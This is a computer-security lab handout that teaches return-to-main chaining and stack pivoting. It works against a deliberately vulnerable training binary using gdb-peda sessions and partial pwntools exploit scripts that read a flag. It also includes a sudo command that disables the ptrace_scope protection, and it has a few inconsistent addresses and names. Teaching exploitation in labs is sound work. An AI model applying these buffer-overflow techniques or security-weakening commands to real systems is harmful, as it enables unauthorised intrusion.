In this lab, we will resume from where we left off our last session.
In many real-life cases you will encounter, a vulnerability will consist of a small buffer overflow, which will not allow you to chain a list of gadgets of arbitrary length. However, there are techniques to circumvent this. Today, we will look at two of these techniques.
Should you need to ret to multiple functions, but you only have space for two or three, then you can choose to return to main
again, or to the function in which the bug is present.
A more elegant solution is to “pivot” the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow.
Pivoting the stack basically means getting RSP
to point elsewhere in memory, preferably a read-writable location which we control.
Supposing we find such a region in memory, we can simply return to a call read
and simulate a call to read(0, pivot, size);
. The pivot
address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size.
But how do we get RSP
to point to a different region in memory? If you think about the leave
instruction, which roughly does the following, you will begin to see an answer:
mov rsp, rbp pop rbp
Hence, when we overwrite the stored frame pointer, we can set its value to where we'll want ESP
to point to.
All content necessary for the CNS laboratory tasks can be found in the CNS public repository.
Inspect the source file ret_to_main.c
. See if you can spot the vulnerability.
The goal of the task is to get the contents of the flag
file through the binary. In order to do this, we need to chain three functions together.
# gdb ./ret_to_main gdb-peda$ pattc 0x40 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH' gdb-peda$ r Starting program: /cns/lab-11/sol/ret_to_main Welcome to our Retired Old Programmers message board! Please leave a message: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x40 ('@') RBX: 0x0 RCX: 0x7ffff7ee1881 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000) RDX: 0x40 ('@') RSI: 0x7fffffffe490 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\310\345\377\377\377\177") RDI: 0x0 RBP: 0x4147414131414162 ('bAA1AAGA') RSP: 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177") RIP: 0x4012b4 (<play+55>: ret) R8 : 0x19 R9 : 0x7ffff7f315e0 (<__memcpy_ssse3+6720>: mov r10,QWORD PTR [rsi-0x18]) R10: 0x400443 --> 0x6474730064616572 ('read') R11: 0x246 R12: 0x401090 (<_start>: xor ebp,ebp) R13: 0x7fffffffe5c0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4012a9 <play+44>: mov edi,0x0 0x4012ae <play+49>: call 0x401050 <read@plt> 0x4012b3 <play+54>: leave => 0x4012b4 <play+55>: ret 0x4012b5 <main>: push rbp 0x4012b6 <main+1>: mov rbp,rsp 0x4012b9 <main+4>: sub rsp,0x10 0x4012bd <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe4c8 ("AcAA2AAH\310\345\377\377\377\177") 0008| 0x7fffffffe4d0 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1") 0016| 0x7fffffffe4d8 --> 0x100000000 0024| 0x7fffffffe4e0 --> 0x4012e0 (<__libc_csu_init>: push r15) 0032| 0x7fffffffe4e8 --> 0x7ffff7e1cbbb (<__libc_start_main+235>: mov edi,eax) 0040| 0x7fffffffe4f0 --> 0x7ffff7fac4d8 --> 0x7ffff7e1c4a0 (<init_cacheinfo>: push r15) 0048| 0x7fffffffe4f8 --> 0x7fffffffe5c8 --> 0x7fffffffe7fa ("/cns/lab-11/sol/task1") 0056| 0x7fffffffe500 --> 0x1f7f795a8 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004012b4 in play () gdb-peda$ gdb-peda$ patto bAA1AAGA bAA1AAGA found at offset: 48
Our $rbp
is at offset 48 ⇒ the return address will be at offset 56.
Let's think about how a small ropchain needs to look like if we want to:
1. Return to the function which opens the flag file.
2. Pass it the correct argument.
3. Return to main
afterwards.
We'll need to save a few useful addresses:
# nm ret_to_main | egrep "main|stop|right|there|play"
00000000004012b5 T main
000000000040127d T play
00000000004011da T right
0000000000401172 T stop
000000000040124b T there
Let's start writing our exploit script.
#!/usr/bin/env python from pwn import * io = process('./ret_to_main') # Useful values ret_offset = 56 main_addr = 0x4012b5 play_addr = 0x40127d open_flag = 0x401172 # Construct payloads payload_to_ret = 'A'*ret_offset payload1 = payload_to_ret payload1 += TODO (pop rdi gadget) payload1 += p64(open_key) payload1 += p64(open_flag) payload1 += p64(main_addr) io.recvline() io.recvline() io.sendline(payload1) io.interactive()
Let's test this code to see if it works:
# ./test.py [+] Starting local process './ret_to_main': Done [*] Switching to interactive mode -> secret vault opened Welcome to our Retired Old Programmers message board! Please leave a message: $ [*] Stopped program './ret_to_main'
Build two more similar payloads to send, one to return to the function which reads the contents of the flag and another which prints the flag. Remember to return to main
in order to be able to chain the two together.
For this task, we will be using the same binary. This time, we will pivot the stack before supplying our ROP chain.
We can use gdb-peda
to see the memory mappings of a binary at runtime.
gdb-peda$ start gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00403000 r-xp task1 0x00403000 0x00404000 r-xp task1 0x00404000 0x00405000 rw-p task1 0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 rwxp /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 rwxp mapped 0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fd3000 0x00007ffff7fd5000 rwxp mapped 0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 rwxp mapped 0x00007ffffffde000 0x00007ffffffff000 rwxp [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
The region beginning at 0x00404000
looks suitable, but just to be safe, let's not choose the starting address.
gdb-peda$ x/100g 0x00404000 0x404000: 0x0000000000403e20 0x00007ffff7ffe170 0x404010: 0x00007ffff7dec680 0x0000000000401036 0x404020: 0x0000000000401046 0x0000000000401056 0x404030: 0x0000000000401066 0x0000000000401076 0x404040: 0x0000000000401086 0x0000000000000000 0x404050: 0x0000000000000000 0x0000000000000000 0x404060 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd0760 0x0000000000000000 gdb-peda$ x/100g 0x00404400 0x404400: 0x0000000000000000 0x0000000000000000 0x404410: 0x0000000000000000 0x0000000000000000 0x404420: 0x0000000000000000 0x0000000000000000 0x404430: 0x0000000000000000 0x0000000000000000 0x404440: 0x0000000000000000 0x0000000000000000 0x404450: 0x0000000000000000 0x0000000000000000 0x404460: 0x0000000000000000 0x0000000000000000
Apart from the reason that values are not zero at the starting address, there's also the risk of the stack pointer going off bounds into values lower than the starting address, where there is no write permission.
We need to find a sequence of instructions akin to:
call read leave ret
If we look around in the disassembled functions, we notice that play
has just what we need at the end:
0x00000000004012ae <+49>: call 0x401050 <read@plt> 0x00000000004012b3 <+54>: leave 0x00000000004012b4 <+55>: ret
We will use this sequence to pivot the stack.
Our payload must do a call to read(0, pivot, size);
, so the registers should look as follows when reaching ret
:
[RSP-8] <pivot-8> # Overwrite RBP [RSP] <call read> [RDI] 0x0 # stdin [RSI] <pivot> # "buffer" [RDX] 0x200 # size
pop rdx
gadget in the binary, but luckily the rdx
register is not changed after the read
call in the main program so it should have a large enough value already set.
With all the pieces in place, we should have a working pivoting payload:
#!/usr/bin/env python from pwn import * io = process('./task1') # Useful values ret_offset = 56 call_read = 0x401050 pivot = 0x404000 # Construct payloads payload1 = 'A'*(ret_offset - 8) payload1 += p64(pivot-8) payload1 += TODO #pop rdi; ret payload1 += p64(0) payload1 += TODO #pop rsi; ret payload1 += p64(pivot) payload1 += TODO #pop rdx; ret payload1 += p64(100) payload1 += p64(call_read) payload1 += p64(0x4012b3) (leave after read) log.info(io.recvline()) log.info(io.recvline()) gdb.attach(io) raw_input("Send payload?") io.sendline(payload1) io.interactive()
In order to see pivoting in action, do the following:
# ./test.py [+] Starting local process './task1': Done [*] Welcome to our Retired Old Programmers message board! [*] Please leave a message: [*] running in new terminal: gdb -q "/task1" 4770 [+] Waiting for debugger: Done Send payload?
This will spawn a new gdb-peda
window. Set a breakpoint at the return address of play
(0x0804862c
) then continue
. In the other window (the one waiting for you to answer Send payload?
), hit Enter
. You will notice gdb hits the breakpoint and now you can single step (via ni
).
pwntools
. The issue is signaled at this link. You will have to issue the command below to solve the issue
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
Once you reach call read
, gdb will block. In the pwntools interactive window, give an input such as AAAAAAAA
to complete the read call and unblock gdb. Continue stepping until you reach the leave
instruction. Notice how the value of rbp+8
gets written over rsp
. The following ret
instruction will take you to your pivot address, at which you will find your AAAAAAAA
.
Now you are set to write a fully working ropchain to sequentially call the three functions in order to open, read and print the contents of the flag file.